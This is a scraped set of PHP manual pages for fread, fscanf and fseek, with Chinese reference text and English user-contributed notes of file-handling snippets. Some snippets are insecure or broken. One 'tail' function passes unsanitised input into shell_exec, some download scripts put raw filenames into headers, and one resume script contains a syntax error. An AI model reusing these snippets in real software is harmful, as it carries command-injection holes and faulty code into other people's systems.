preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/', $header,$matches);
$buffer = fread($this->_fp, $matches[1]);
?>

if i.e. the content length is 50000 and the responding server is to slow
(means 50000 are not completely sent when fread is called)
you'll only receive the number of bytes sent by the
responding server at the time fread is called.

fread will not wait for any data to complete the given size.
as described in user notes on stream_set_blocking there
seems to be a bug using stream_set_blocking.
a workaround - well, not the best way - is to read
the response split to 1 byte
instead of
<?php $buffer = fread($this->_fp, $matches[1]); ?>

you'd write
<?php
$buffer = '';
for($i = 0; $i < $matches[1]; $i++){
    $buffer .= fread($this->_fp, 1);
}
?>

it several tests this seems like it works.
aubfre at hotmail dot com 27-Mar-2007 09:20
Changing the value of $length may yield to different download speeds when serving a file from a script.

I was not able to max out my 10mbps connection when 4096 was used. I found out that using 16384 would use all the available bandwidth.

When outputing binary data with fread, do not assume that 4096 or 8192 is the optimal value for you. Do some benchmarks by downloading files through your script.
adamgamble at gmail dot com 20-Sep-2005 08:00
<?php
/*
geoCode($address)
Accepts an address in the form of
999 Geocode Dr. New York, Ny 10108
returns array with lat and lon
*/

function geoCode($address) {

    $gaddress = "http://maps.google.com?q=" . urlencode($address);

    $handle = fopen($gaddress, "r");
    $contents = '';

     while (!feof($handle)) {
         $contents .= fread($handle, 8192);
     }
     fclose($handle);
     ereg('<center lat="([0-9.-]{1,})" lng="([0-9.-]{1,})"/>', $contents, $regs);

     $returnData['lat'] = $regs[1];
     $returnData['lon'] = $regs[2];

     return $returnData;
}

print_r(geoCode("1064 Georgetown ln. Birmingham, Al 35217"));
?>
Richard Dale richard at premiumdata dot n dot e dot t 30-Jun-2005 09:11
If you use any of the above code for downloadinng files, Internet Explorer will change the filename if it has multiple periods in it to something with square brackets.  To work around this, we check to see if the User Agent contains MSIE and rewrite the necessary periods as %2E

<?php
# eg. $filename="setup.abc.exe";
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
    # workaround for IE filename bug with multiple periods / multiple dots in filename
    # that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $iefilename = preg_replace('/\./', '%2e', $filename, substr_count($filename, '.') - 1);
    header("Content-Disposition: attachment; filename=$iefilename" );
} else {
    header("Content-Disposition: attachment; filename=$filename");
}
?>
mrhappy[at]dotgeek.org 07-Apr-2005 07:02
Just a note for anybody trying to implement a php handled download script -

We spent a long time trying to figure out why our code was eating system resources on large files.. Eventually we managed to trace it to output buffering that was being started on every page via an include.. (It was attempting to buffer the entire 600 Megs or whatever size *before* sending data to the client) if you have this problem you may want to check that first and either not start buffering or close that in the usual way :)

Hope that prevents somebody spending hours trying to fix an obscure issue.

Regards :)
dvsoftware at gmail dot com 13-Mar-2005 12:22
I was trying to implement resume support in download script, and i have finnaly succeded. here is the script:

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
  $header='Content-Disposition: attachment; filename='.$filespaces.';';
   header($header );
   header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
   if(isset($_ENV['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_ENV['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 header("Content-Range: $range$size2/$size");
 $new_length=$size2-$range;
 header("Content-Length: $new_length");
/if not, download whole file
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit();
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
?>

EXAMPLE
<?php
dl_file_resume("somefile.mp3");
?>

please write if you find any errors, i have tested this only with mp3 files, but others should be fine
fenris_wolf0 at yahoo dot com 05-Mar-2005 02:59
To make the effects of the latest PHP version changes of the fread function even more explicit:  the new size limitation of fread -regardless of the filesize one specifies,  in the example below 1024 * 1024- means that if one was  simply reading the contents of a text file from a dynamic URL like so:

<?php
  $dp = "http://www.example.com/filename.php";
  $buffer = fopen($dp, 'r');
  if (!$buffer)
    {
      echo("<P>Error: unable to load URL file into $buffer.      Process  aborted.</P>");
      exit();
    }
  $sp = fread($buffer, 1024*1024);
  fclose($buffer);
  highlight_string($sp);
?>

one should from now on use the file_get_contents function, as shown below, to avoid one's text being truncated forcibly.

<?php
  $dp = "http://www.example.com/filename.php";
  if (!$dp)
    {
      echo("<P>Error: unable to load URL file into $dp.  Process aborted.</P>");
      exit();
    }
  $sp = file_get_contents($dp);
  highlight_string($sp);
?>

I thought it couldn't hurt to clarify this detail in order to save time for anyone else who is in the same situation as I was tonight when my ISP abruptly upgraded to the latest version of PHP...    :(

Thank you to every previous contributor to this topic.
m (at) mindplay (dot) dk 16-Jan-2005 12:20
Here's a function for sending a file to the client - it may look more complicated than necessary, but has a number of advantages over simpler file sending functions:

- Works with large files, and uses only an 8KB buffer per transfer.

- Stops transferring if the client is disconnected (unlike many scripts, that continue to read and buffer the entire file, wasting valuable resources) but does not halt the script

- Returns TRUE if transfer was completed, or FALSE if the client was disconnected before completing the download - you'll often need this, so you can log downloads correctly.

- Sends a number of headers, including ones that ensure it's cached for a maximum of 2 hours on any browser/proxy, and "Content-Length" which most people seem to forget.

(tested on Linux (Apache) and Windows (IIS5/6) under PHP4.3.x)

Note that the folder from which protected files will be pulled, is set as a constant in this function (/protected) ... Now here's the function:

<?php
function send_file($name) {
  ob_end_clean();
  $path = "protected/".$name;
  if (!is_file($path) or connection_status()!=0) return(FALSE);
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");
  header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Content-Type: application/octet-stream");
  header("Content-Length: ".(string)(filesize($path)));
  header("Content-Disposition: inline; filename=$name");
  header("Content-Transfer-Encoding: binary\n");
  if ($file = fopen($path, 'rb')) {
    while(!feof($file) and (connection_status()==0)) {
      print(fread($file, 1024*8));
      flush();
    }
    fclose($file);
  }
  return((connection_status()==0) and !connection_aborted());
}
?>

And here's an example of using the function:

<?php
if (!send_file("platinumdemo.zip")) {
die ("file transfer failed");
// either the file transfer was incomplete
// or the file was not found
} else {
// the download was a success
// log, or do whatever else
}
?>

Regards,
Rasmus Schultz
ibis at connect dot ie 01-Dec-2004 02:23
If, like me, you're in the habit of using fopen("http://...") and fread for pulling fairly large remote files, you may find that the upgrade to PHP5 (5.0.2 on Win2000/IIS5) causes fread to top out at about 8035 bytes. PHP5 RC2 with identical php.ini settings did not exhibit this behaviour (I was using this for testing). Irritating for me because I was using simple_xml_load to load the file contents as XML, and the problem initially appeared to be that function.

Solution - swap over to file_get_contents or use the loop suggested on the documentation above (see Warning).
fpinho at hotpop dot com 13-Oct-2004 02:21
After using the suggested function from Rasmus Schultz : mindplay(at)mindplay(dot)dk, I've just noticed that people trying to download big files with a slow connection would get download stopped after exactly 60seconds -> the max execution time set with php.ini.
I suggest using a bigger buffer (1024x1024), or maybe resetting the time limit within the 'while' cicle with:
   set_time_limit(0);

The cicle would go like this:

<?php
   while(!feof($file) and (connection_status()==0)) {
     print(fread($file, 1024*1024));
     set_time_limit(0);
     flush();
   }
?>

Frederico Pinho
webmaster at wildpeaks dot com 14-May-2004 12:32
The following function retrieves a line in a file, regardless of its size, so you won't get an error if the file's size is beyond php's allowed memory limit (the string has to be below however), which is something i was needing for accessing a big log file generated by a webhost. Indexes start at 1 (so $line = 1 means the first line unlike arrays). If the file is small, it would be better to use "file()" however.

<?php
function strpos_count($haystack, $needle, $i = 0) {
    while (strpos($haystack,$needle) !== false) {$haystack = substr($haystack, (strpos($haystack,$needle) + 1)); $i++;}
    return $i;
}
function getLine($file,$line=1){
    $occurence = 0;
    $contents = '';
    $startPos = -1;
    if (!file_exists($file)) return '';
    $fp = @fopen($file, "rb");
    if (!$fp) return '';
    while (!@feof($fp)) {
        $str = @fread($fp, 1024);
        $number_of_occurences = strpos_count($str,"\n");
        if ($number_of_occurences == 0) {if ($start_pos != -1) {$contents .= $str;}}
        else {
            $lastPos = 0;
            for ($i = 0; $i < $number_of_occurences; $i++){
                $pos = strpos($str,"\n", $lastPos);
                $occurence++;
                if ($occurence == $line) {
                    $startPos = $pos;
                    if ($i == $number_of_occurences - 1) {$contents = substr($str, $startPos + 1);}
                } elseif ($occurence == $line + 1) {
                    if ($i == 0) {$contents .= substr($str, 0, $pos);} else {$contents = substr($str, $startPos, $pos - $startPos);}
                    $occurence = 0;
                    break;
                }
                $lastPos = $pos + 1;
            }
        }
    }
    @fclose($fp);
    return $contents;
}
?>
rob at lbox.org 14-Nov-2002 01:28
I spent a while trying to get this to work so I thought I'd share.

Here's how to read a remote binary file using fread.

<?php
$fp = fopen("http://www.example.com/img.jpg", "rb");

if($fp){
 while(!feof($fp)) {
     $img = $img . fread($fp, 1024);
 }
}
?>

This will read the contents of the file into the var $img 1024 bytes at a time.  I used that number because it seemed safe, but you can increment it all you want I guess.

I don't know if everyone but me gets this, but I thought I'd share since I didn't see anything like it out there.
heikki dot korpela at wapit dot com 26-Aug-2000 02:22
Fread is binary-safe IF AND ONLY IF you don't use magic-quotes. If you do, all null bytes will become \0, and you might get surprising results when unpacking.

That is, you would do something like

<?php
set_magic_quotes_runtime(0);
?>

before fread()

and something like

<?php
set_magic_quotes_runtime(get_magic_quotes_gpc()) after.
?>

And, after fread, an unpack would be needed, of course. Surprisingly, pack(), however, does not work quite like in Perl (or perhaps I'm just missing something here) - you can't pack an array directly, but instead you'll have to pack each element seperately to the string:

<?php
foreach ($data as $dec) {
  $data_output .= pack("C*", $dec);
}
?>


从文件中格式化输入

  • ? fread
  • fseek ?
  • PHP Manual
  • 文件系统函数
  • 从文件中格式化输入

fscanf

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

fscanf — 从文件中格式化输入

说明

fscanf(resource $stream, string $format, mixed &...$vars): array|int|false|null

fscanf() 函数和 sscanf() 相似，但是它从与 stream 关联的文件中接受输入并根据指定的 format 来解释输入。

格式字符串中的任何空白会与输入流中的任何空白匹配。这意味着甚至格式字符串中的制表符（\t）也会与输入流中的一个空格字符匹配。

每次调用 fscanf() 都会从文件中读取一行。

参数

stream

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

format

string 的格式解释，在 sprintf() 的文档中进行了描述，但有以下区别：

  • 函数不支持区域设置。
  • 不支持 F、g、G 和 b。
  • D 代表十进制数字。
  • i stands for integer with base detection.
  • n 代表到目前为止处理的字符数。
  • s 在任何空白字符处停止阅读。
  • * 代替 argnum$ 禁止分配此转换规范。

vars

可选赋值。

返回值

如果只给此函数传递了两个参数，解析后的值会被作为数组返回。否则，如果提供了可选参数，此函数将返回被赋值的数目。 可选参数必须用引用传递。

如果 format 中预期的子字符串超出 string 中有效的子字符串，则返回 null。其它错误将返回 false。

示例

Example #1 fscanf() 例子

<?php
$handle = fopen("users.txt", "r");
while ($userinfo = fscanf($handle, "%s\t%s\t%s\n")) {
list ($name, $profession, $countrycode) = $userinfo;
//... do something with the values
}
fclose($handle);
?>

Example #2 users.txt 的内容

javier  argonaut        pe
hiroshi sculptor        jp
robert  slacker us
luigi   florist it

参见

  • fread() - 读取文件（可安全用于二进制文件）
  • fgets() - 从文件指针中读取一行
  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • sscanf() - 根据指定格式解析输入的字符
  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串

User Contributed Notes

hdh265 at 163 dot com 13-Apr-2015 05:19
The use of PHP code in the ACM submission
Here is a sample solution for problem 1001 using PHP:
<?php
while (fscanf(STDIN, "%d%d", $a, $b) == 2) {
    print ($a + $b) . "\n";
}
nico at nicoswd dot com 28-Aug-2013 09:25
If you want to parse a cron file, you may use this pattern:

<?php

while ($cron = fscanf($fp, "%s %s %s %s %s %[^\n]s"))
{

}

?>
arentzen at religion dot dk 30-Sep-2007 02:56
If you want fscanf()to scan one variable in a large number of lines,  e.g an Ipadress in a line with more variables, then use fscanf with explode()
<?
$filename = "somefile.txt";
$fp = fopen($filename, "r") or die ("Error opening file! \n");
$u = explode(" ",$line); // $u is the variable eg. an IPadress
while ($line = fscanf($fp,"%s",$u)) {
if(preg_match("/^$u/",$_SERVER['REMOTE_ADDR'])) {$badipadresss++;} // do something and continue scan
}
?>
Besides, fscanf()is much faster than fgets()
Bertrand dot Lecun at prism dot uvsq dot Fr 30-May-2007 12:48
It would be great to precise in the fscanf documentation
that one call to the function, reads a complete line.
and not just the number of values defined in the format.

If a text file contains 2 lines each containing 4 integer values,
reading the file with 8 fscanf($fd,"%d",$v) doesnt run !
You have to make 2
fscanf($fd,"%d %d %d %d",$v1,$v2,$v3,$v4);

Then 1 fscanf per line.
loco.xxx at gmail dot com 24-Jul-2006 12:46
to include all type of visible chars you should try:

<?php fscanf($file_handler,"%[ -~]"); ?>
worldwideroach at hotmail dot com 14-Jul-2005 09:33
Yet another function to read a file and return a record/string by a delimiter.  It is very much like fgets() with the delimiter being an additional parameter.  Works great across multiple lines.

function fgetd(&$rFile, $sDelim, $iBuffer=1024) {
    $sRecord = '';
    while(!feof($rFile)) {
        $iPos = strpos($sRecord, $sDelim);
        if ($iPos === false) {
            $sRecord .= fread($rFile, $iBuffer);
        } else {
            fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
            return substr($sRecord, 0, $iPos);
        }
    }
    return false;
}
robert at NOSPAM dot NOSPAM 24-Oct-2002 04:08
actually, instead of trying to think of every character that might be in your file, excluding the delimiter would be much easier.

for example, if your delimiter was a comma use:

%[^,]

instead of:

%[a-zA-Z0-9.| ... ]

Just make sure to use %[^,\n] on your last entry so you don't include the newline.
eugene at pro-access dot com 16-Mar-2002 12:39
If you want to read text files in csv format or the like(no matter what character the fields are separated with), you should use fgetcsv() instead. When a text for a field is blank, fscanf() may skip it and fill it with the next text, whereas fgetcsv() correctly regards it as a blank field.
james at zephyr-works dot com 08-Jul-2001 12:29
fscanf works a little retardedly I've found. Instead of using just a plain %s you probably will need to use sets instead. Because it works so screwy compared to C/C++, fscanf does not have the ability to scan ahead in a string and pattern match correctly, so a seemingly perfect function call like:

fscanf($fh, "%s::%s");

With a file like:

user::password

Will not work. When fscanf looks for a string, it will look and stop at nothing except for a whitespace so :: and everything except whitespace is considered part of that string, however you can make it a little smarter by:

fscanf($fh, "%[a-zA-Z0-9,. ]::%[a-zA-Z0-9,. ]" $var1, $var2);

Which tells it that it can only accept a through z A through Z 0 through 9 a comma a period and a whitespace as input to the string, everything else cause it to stop taking in as input and continue parsing the line. This is very useful if you want to get a sentence into the string and you're not sure of exactly how many words to add, etc.
yasuo_ohgaki at hotmail dot com 12-Mar-2001 11:59
For C/C++ programmers.

fscanf() does not work like C/C++, because PHP's fscanf() move file pointer the next line implicitly.


在文件指针中定位

  • ? fscanf
  • fstat ?
  • PHP Manual
  • 文件系统函数
  • 在文件指针中定位

fseek

(PHP 4, PHP 5, PHP 7, PHP 8)

fseek — 在文件指针中定位

说明

fseek(resource $stream, int $offset, int $whence = SEEK_SET): int

在与 stream 关联的文件中设定文件指针位置。新位置从文件头开始以字节数度量，是以 whence 指定的位置加上 offset。

In general, it is allowed to seek past the end-of-file; if data is then written, reads in any unwritten region between the end-of-file and the sought position will yield bytes with value 0. However, certain streams may not support this behavior, especially when they have an underlying fixed size storage.

参数

stream

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

offset

偏移量。

要移动到文件尾之前的位置，需要给 offset 传递一个负值，并设置 whence 为 SEEK_END。

whence

whence 值是：

  • SEEK_SET - 设定位置等于 offset 字节。
  • SEEK_CUR - 设定位置为当前位置加上 offset。
  • SEEK_END - 设定位置为文件尾加上 offset。

返回值

成功则返回 0；否则返回 -1。

示例

Example #1 fseek() 例子

<?php

$fp = fopen('somefile.txt', 'r');

// read some data
$data = fgets($fp, 4096);

// move back to the beginning of the file
// same as rewind($fp);
fseek($fp, 0);

?>

注释

Note:

如果使用附加模试（a 或 a+），任何写入文件数据都会被附加上去，而文件的位置将会被忽略，调用 fseek() 的结果尚未定义。

Note:

Not all streams support seeking. For those that do not support seeking, forward seeking from the current position is accomplished by reading and discarding data; other forms of seeking will fail.

参见

  • ftell() - 返回文件指针读/写的位置
  • rewind() - 倒回文件指针的位置

User Contributed Notes

marin at sagovac dot com 26-Jun-2016 01:33
Seek to a line of code than break from while to improve performance. Seek to specific line using SEEK_SET and get a specific line. If $range is '0' than will show seeked line. If set to '2' it will show current line + 2 lines above + 2 lines below.

Useful for get a content of a file in very huge file to get lines range. To improve performance a while loop breaks from iteration than go for seeking.

I've created a function that read a file and count lines and store into arrays each lines bytes to seek. If maximum specified by `linenum` is set, it will break from while to keep performance than in a new loop function to seek a position in bytes to get a content of file.

    function readFileSeek($source, $linenum = 0, $range = 0)
    {
        $fh = fopen($source, 'r');
        $meta = stream_get_meta_data($fh);

        if (!$meta['seekable']) {
            throw new Exception(sprintf("A source is not seekable: %s", print_r($source, true)));
        }

        $pos = 2;
        $result = null;

        if ($linenum) {
            $minline = $linenum - $range - 1;
            $maxline = $minline+$range+$range;
        }

        $totalLines = 0;
        while (!feof($fh)) {

            $char = fgetc($fh);

            if ($char == "\n" || $char == "\r") {
                ++$totalLines;
            } else {
                $result[$totalLines] = $pos;
            }
            $pos++;

            if ($maxline+1 == $totalLines) {
                // break from while to not read entire file
                break;
            }
        }

        $buffer = '';

        for ($nr=$minline; $nr<=$maxline; $nr++) {

            if (isset($result[$nr])) {

                fseek($fh, $result[$nr], SEEK_SET);

                while (!feof($fh)) {
                    $char = fgetc($fh);

                    if ($char == "\n" || $char == "\r") {
                        $buffer .= $char;
                        break;
                    } else {
                        $buffer .= $char;
                    }
                }

            }
        }

        return $buffer;
    }

Test results (1.3 GB file, 100000000 lines of codes, seek to 300000 line a code):

    string(55) "299998_abc
    299999_abc
    300000_abc
    300001_abc
    300002_abc
    "

    Time: 612 ms, Memory: 20.00Mb

    $ ll -h /tmp/testfile
    -rw-rw-r-- 1  1,3G /tmp/testfile
synnus at gmail dot com 07-Aug-2014 03:54
Write Dummy File 4GB in Php 32bits (X86)
if you want write more GB File (>4GB), use Php(X64) .
this file is created in 0.0041329860687256 second

CreatFileDummy('data_test.txt',4294967296);

FUNCTION CreatFileDummy($file_name,$size) {
// 32bits 4 294 967 296 bytes MAX Size
    $f = fopen($file_name, 'wb');
    if($size >= 1000000000)  {
        $z = ($size / 1000000000);
        if (is_float($z))  {
            $z = round($z,0);
            fseek($f, ( $size - ($z * 1000000000) -1 ), SEEK_END);
            fwrite($f, "\0");
        }
        while(--$z > -1) {
            fseek($f, 999999999, SEEK_END);
            fwrite($f, "\0");
        }
    }
    else {
        fseek($f, $size - 1, SEEK_END);
        fwrite($f, "\0");
    }
    fclose($f);

Return true;
}

Synx
lexica98 at gmail dot com 15-Feb-2014 05:23
Opening the file in a+ mode doesn't work with fseek either, unfortunately. If you want a file created and then want be able to go to any position in the file, you'll have to use append mode when opening the file, then close it, then open it again in r+.
me at php dot net 09-Jul-2013 09:14
how to read BIG files using fseek (above 2GB+, upto any size like 4GB+, 100GB+, 100 terabyes+, any file size, 100 petabytes, max limit is php_float_max ) ?

// seek / set file pointer to 50 GB
my_fseek($fp, floatval(50000000000),1);

function my_fseek($fp,$pos,$first=0) {

// set to 0 pos initially, one-time
if($first) fseek($fp,0,SEEK_SET);

// get pos float value
$pos=floatval($pos);

 // within limits, use normal fseek
if($pos<=PHP_INT_MAX)
  fseek($fp,$pos,SEEK_CUR);
 // out of limits, use recursive fseek
else {
  fseek($fp,PHP_INT_MAX,SEEK_CUR);
  $pos -= PHP_INT_MAX;
  my_fseek($fp,$pos);
}

}

hope this helps.
lorenzo dot stanco at gmail dot com 17-Mar-2013 06:38
I want to give my contribution about the "read last lines from a file" topic. I've done some researches (starting from here, really) and run many tests for different algorithms and scenarios, and came up with this:

What is the best way in PHP to read last lines from a file?
http://stackoverflow.com/a/15025877/995958

In that mini-article I tried to analyze all different methods and their performance over different files.

Hope it helps.
Anonymous 21-Nov-2011 07:43
I needed to stream a txt file (here big xml file) to get nodes blockwise. I couldn't find a shorter way. So i did write this class.

Function: streams a complete file and returns the content between two search strings with their search strings (multi byte safe)

Hope it helps anyone.

PS: It lacks any boolean checks / exception handling for non existing files / read errors.

<?php
/**
 * Reads txt-files blockwise
 * Usage:
    $c_streamFileTxt = new streamFileTxt;
    $_args = array(

        'file' => 'temporary.xml',
        'start_string' => '<Product>',
        'stop_string' => '</Product>',
        'block_size' => '8192'
    );

    $c_streamFileTxt->setArgs($_args);

    while ($txt_block = $c_streamFileTxt->getNextBlock())
    {
        // use $txt_block for something
    }
 */

class streamFileTxt
{
    private $handle;
    private $file;
    private $file_offset;
    private $block;
    private $start_string;
    private $stop_string;
    private $block_size;

    /**
     * Sett class arguments
     * @param array $_args
     */
    public function setArgs($_args)
    {
        $this->file = $_args['file'];
        $this->start_string = $_args['start_string'];
        $this->stop_string = $_args['stop_string'];
        $this->block_size = $_args['block_size'];
    }

    /**
     * Get next textblock within a file
     * @param void
     * @return string $textblock
     */
    public function getNextBlock()
    {
        $this->openFile();

        fseek($this->handle, $this->file_offset);
        $start_string_found = false;
        $stop_string_found = false;
        while (!feof($this->handle))
        {
            $txt_block = fread($this->handle, $this->block_size);

            if (!$start_string_found) // while not start start snippet found
            {
                $strpos = mb_strpos($txt_block, $this->start_string);
                if ($strpos !== false)
                {
                    // cut of first left chunk
                    $txt_block = mb_substr($txt_block, $strpos, $this->block_size);
                    $start_string_found = true;
                }
            }

            if ($start_string_found && !$stop_string_found) // start snipped found, looking for stop snippet
            {
                $strpos = mb_strpos($txt_block, $this->stop_string);
                if ($strpos !== false)
                {
                    $removed_block_size = mb_strlen($txt_block) - $strpos;
                    $txt_block = mb_substr($txt_block, 0, $strpos + mb_strlen($this->stop_string));
                    $stop_string_found = true;
                    $this->setFileOffset($removed_block_size);
                }
            }

            if ($stop_string_found) // stop-snippet found, keep file offset, return
            {
                $this->closeFile();
                return $txt_block;
            }
        }

        $this->closeFile();
        return false;
    }

    /**
     * Set current file offset and consider the removed block size
     * current file position = current file offset - removed block size
     * @param int $removed_block_size
     */
    private function setFileOffset($removed_block_size)
    {
        $this->file_offset = ftell($this->handle) - $removed_block_size;
    }

    /**
     * close current file
     * @param void
     * @return void
     */
    private function openFile()
    {
        $this->handle = fopen($this->file, 'r');
    }

    /**
     * open file
     * @param void
     * @return void
     */
    private function closeFile()
    {
        fclose($this->handle);
    }
}
kavoshgar3 at gmail dot com 28-Oct-2011 09:06
sometimes we want read file from last line to beginning of file.I use the following.
<?php
function read_backward_line($filename, $lines, $revers = false)
{
    $offset = -1;
    $c = '';
    $read = '';
    $i = 0;
    $fp = @fopen($filename, "r");
    while( $lines && fseek($fp, $offset, SEEK_END) >= 0 ) {
        $c = fgetc($fp);
        if($c == "\n" || $c == "\r"){
            $lines--;
            if( $revers ){
                $read[$i] = strrev($read[$i]);
                $i++;
            }
        }
        if( $revers ) $read[$i] .= $c;
        else $read .= $c;
        $offset--;
    }
    fclose ($fp);
    if( $revers ){
        if($read[$i] == "\n" || $read[$i] == "\r")
            array_pop($read);
        else $read[$i] = strrev($read[$i]);
        return implode('',$read);
    }
    return strrev(rtrim($read,"\n\r"));
}
//if $revers=false function return->
//line 1000: i am line of 1000
//line 1001: and i am line of 1001
//line 1002: and i am last line
//but if $revers=true function return->
//line 1002: and i am last line
//line 1001: and i am line of 1001
//line 1000: i am line of 1000
?>
Enjoy! Mail me if it works!  ;-)
Anonymous 18-Mar-2011 06:56
The official docs indicate that not all streams are seekable.
You can try to seek anyway and handle failure:

<?php
if (fseek($stream, $offset, SEEK_CUR) === -1) {
  // whatever
}
?>

Or, you can use the stream_get_meta_data function:
http://php.net/stream_get_meta_data

<?php
function fseekable($stream) {
  $meta = stream_get_meta_data($stream);
  return $meta['seekable'];
}
?>
necudeco at gmail dot com 23-Jul-2010 10:31
This a tail php script example for windows system.

<?php
$n = ( isset($_REQUEST['n']) == true )? $_REQUEST['n']:20;

$offset = -$n * 120;

$rs = fopen('C:/wamp/logs/apache_error.log','r');
if ( $rs === false )
    die("No se pudo abrir el archivo de log");

fseek($rs,$offset,SEEK_END);

fgets($rs);
while(!feof($rs))
{
    $buffer = fgets($rs);
    echo $buffer;
    echo "<hr />";
}

fclose($rs);
?>
steve at studio831 dot com 23-Jul-2009 01:49
Modified @ben's function to work for files larger than PHP_INT_MAX bytes.

<?php
function longTail($file, $numLines = 100)
{
    $fp = fopen($file, "r");
    $chunk = 4096;
    $fs = sprintf("%u", filesize($file));
    $max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);

    for ($len = 0; $len < $max; $len += $chunk) {
        $seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;

        fseek($fp, ($len + $seekSize) * -1, SEEK_END);
        $data = fread($fp, $seekSize) . $data;

        if (substr_count($data, "\n") >= $numLines + 1) {
            preg_match("!(.*?\n){".($numLines)."}$!", $data, $match);
            fclose($fp);
            return $match[0];
        }
    }
    fclose($fp);
    return $data;
}
?>
Tom Pittlik 23-Apr-2009 12:32
The tail example functions below will return a PHP memory limit error when trying to open large files. Since tail is convenient for opening large logs, here is a function that lets you (provided you have permission):

<?php

function unix_tail($lines,$file)
{
    shell_exec("tail -n $lines $file > /tmp/phptail_$file");
    $output = file_get_contents("/tmp/phptail_$file");
    unlink("/tmp/phptail_$file");
    return $output;
}

?>
ben at nullcreations dot net 22-Oct-2008 02:38
easier tail() function for php:

<?php
function tail($file, $num_to_get=10)
{
  $fp = fopen($file, 'r');
  $position = filesize($file);
  fseek($fp, $position-1);
  $chunklen = 4096;
  while($position >= 0)
  {
    $position = $position - $chunklen;
    if ($position < 0) { $chunklen = abs($position); $position=0;}
    fseek($fp, $position);
    $data = fread($fp, $chunklen). $data;
    if (substr_count($data, "\n") >= $num_to_get + 1)
    {
       preg_match("!(.*?\n){".($num_to_get-1)."}$!", $data, $match);
       return $match[0];
    }
  }
  fclose($fp);
  return $data;
}
?>
Anonymous 11-Apr-2008 10:45
To:seeker at example com
Be careful, though.
You can freely position you pointer if you open a file in (r+) mode, but it will "overwrite" the data, not "append it".

Tested this:

<?php
// file.txt content:
// "You can contribute your notes to the PHP manual from the comfort of your browser!"

$handler = fopen("file.txt", "r+");
fseek($handler, 0);
fwrite($handler, "want to add this");
?>
New contents of the file.txt will be like this:
"want to add thiste your notes to the PHP manual from the comfort of your browser!".

If you really want to append at the beginning, you have to first get all the contents, save it, clear the file, put the new contents and append the saved contents at the end.
seeker at example com 28-Feb-2008 08:40
JUST TO QUOTE AND POINT THIS OUT:

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
3. if you're using fseek() to write data to a file, remember to open the file in "r+"
mode, example:

  $fp=fopen($filename,"r+");

DON'T open the file in mode "a" (for append), because it puts
 the file pointer at the end of the file and doesn't let you
fseek earlier positions in the file (it didn't for me!). Also,
don't open the file in mode "w" -- although this puts you at
the beginning of the file -- because it wipes out all data in
the file.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Took me half a day to figure :/
mhinks at gmail dot com 26-Feb-2007 11:38
Here's a function I wrote to binary search for a line of text within a file, particularly useful when the file is too large to read into memory at once and you want a faster search than linear.

function binary_search_in_file($filename, $search) {

    //Open the file
    $fp = fopen($filename, 'r');

    //Seek to the end
    fseek($fp, 0, SEEK_END);

    //Get the max value
    $high = ftell($fp);

    //Set the low value
    $low = 0;

    while ($low <= $high) {
        $mid = floor(($low + $high) / 2);  // C floors for you

        //Seek to half way through
        fseek($fp, $mid);

        if($mid != 0){
            //Read a line to move to eol
            $line = fgets($fp);
        }

        //Read a line to get data
        $line = fgets($fp);

        if ($line == $search) {
            fclose($fp);
            return $line;
        }
        else {
            if ($search < $line) {
                $high = $mid - 1;
            }
            else {
                $low = $mid + 1;
            }
        }
    }

    //Close the pointer
    fclose($fp);

    return FALSE;

}
marc dot roe at gmail dot com 19-Aug-2006 09:38
I tried to improve and modify (mail at ulf-kosack dot de)'s function. Actually it is very fast, i.e. requires much less time than to get the last five, ten or whatever lines of a file using file() ore file_get_contents().

function read_file($file, $lines)
{
       $handle = fopen($file, "r");
       $linecounter = $lines;
       $pos = -2;
       $beginning = false;
       $text = array();
       while ($linecounter > 0) {
         $t = " ";
         while ($t != "\n") {
           if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true; break; }
           $t = fgetc($handle);
           $pos --;
         }
         $linecounter --;
         if($beginning) rewind($handle);
